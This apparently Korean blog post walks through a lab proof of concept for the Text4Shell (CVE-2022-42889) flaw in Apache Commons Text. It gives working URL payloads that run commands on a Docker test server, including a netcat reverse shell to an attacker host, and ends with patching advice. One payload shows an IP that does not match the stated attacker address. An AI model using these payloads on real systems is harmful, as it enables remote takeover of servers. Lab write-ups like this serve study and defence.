Text4Shell

blatter·2022년 10월 29일
0
post-thumbnail

Intro

CVE-2022-42889인 text4shell 취약점을 간단하게 알아보고,
U. J. Karthik의 PoC 코드를 작성해볼것이다.
(간단하게 알아 볼 것이기에 자세한 내용이 궁금하다면 아래 참고 링크들을 보면된다.)


Text4shell?

2022년 10월 13일에 아파치에서 1.5~1.9 버전에서 Apache Commons Text 라이브러리의
특정 기능을 사용하는 Java에서 공격자가 서버에서 임의의 코드를 실행할 수 있는
취약점이 발생한다고 공개하였다.


PoC

환경구성

Server
Ubuntu 20.04
IP: 192.168.18.139

Server 세팅

Open JDK 설치

sudo apt update
sudo apt update && sudo apt install openjdk-11-jdk

Docker 설치

  • Docker 설치 확인
  • Docker 없을 때
sudo apt install docker.io containerd runc

Apache maven 설치

cd /tmp
wget https://mirrors.estointernet.in/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
tar -xvf apache-maven-3.6.3-bin.tar.gz
sudo mv apache-maven-3.6.3 /opt/

환경 변수 설정

M2_HOME='/opt/apache-maven-3.6.3'
PATH="$M2_HOME/bin:$PATH"
export PATH

PoC application프로그램 다운

cd /tmp
git clone https://github.com/karthikuj/cve-2022-42889-text4shell-docker.git

maven을 사용해 프로그램 빌드

cd /tmp/cve-2022-42889-text4shell-docker/
mvn clean install

docker container 빌드

docker build --tag=text4shell .

docker image 시작

docker run -p 8080:8080 text4shell

외부 접속 확인

http://192.168.18.139:8080/text4shell/attack?search=blablabla

로컬이나 외부에서 접속을 했을 때 위 사진과 같이 나오면 Server 환경 구성은 완료되었다.


RCE 코드 실행

  • 페이지를 보면 URL의 search의 값이 그대로 출력 되는 것을 알 수 있다.
  • search에 rce 코드를 넣으면 해당 코드가 동작하게 된다.

RCE 코드 삽입

  • 코드
http://192.168.18.139:8080/text4shell/attack?search=${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo’)}
  • URL 인코딩
http://192.168.18.139:8080/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D

RCE 코드 동작 확인

docker 이미지 확인

docker container ls

docker 내부 접속

docker exec -it c1787458a52e bash

foo 파일 확인

ls /tmp

RCE가 성공한 것을 확인할 수 있다.

RCE 코드 실행 (2)

첫번째 RCE 코드는 server의 내부에 foo라는 파일을 생성하는 것이다.
두번째는 Reverse shell 공격을 해볼 것이다.

attacker
Ubuntu 20.04
IP : 172.19.240.193

nc listener 설정

nc -nvlp 443

RCE 코드 삽입

  • 코드
http://192.168.18.139:8080/text4shell/attack?search=${script:javascript:java.lang.Runtime.getRuntime().exec(’nc 192.168.62.161 443 -e /bin/bash’)}
  • URL 인코딩
http://192.168.18.139:8080/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nc%20172.19.240.193%20443%20-e%20%2Fbin%2Fbash%27%29%7D

RCE 코드 동작 확인 (2)


명령어가 모두 잘 작동하는 것을 확인 할 수 있다.

Mitigation

아파치에서 Apache Commons Text 라이브러리의 1.10버전으로 패치하면 취약점이 해결된다.

Reference

profile
보안 1일차였던것

3개의 댓글

comment-user-thumbnail
2023년 3월 5일

신기하네여!!

1개의 답글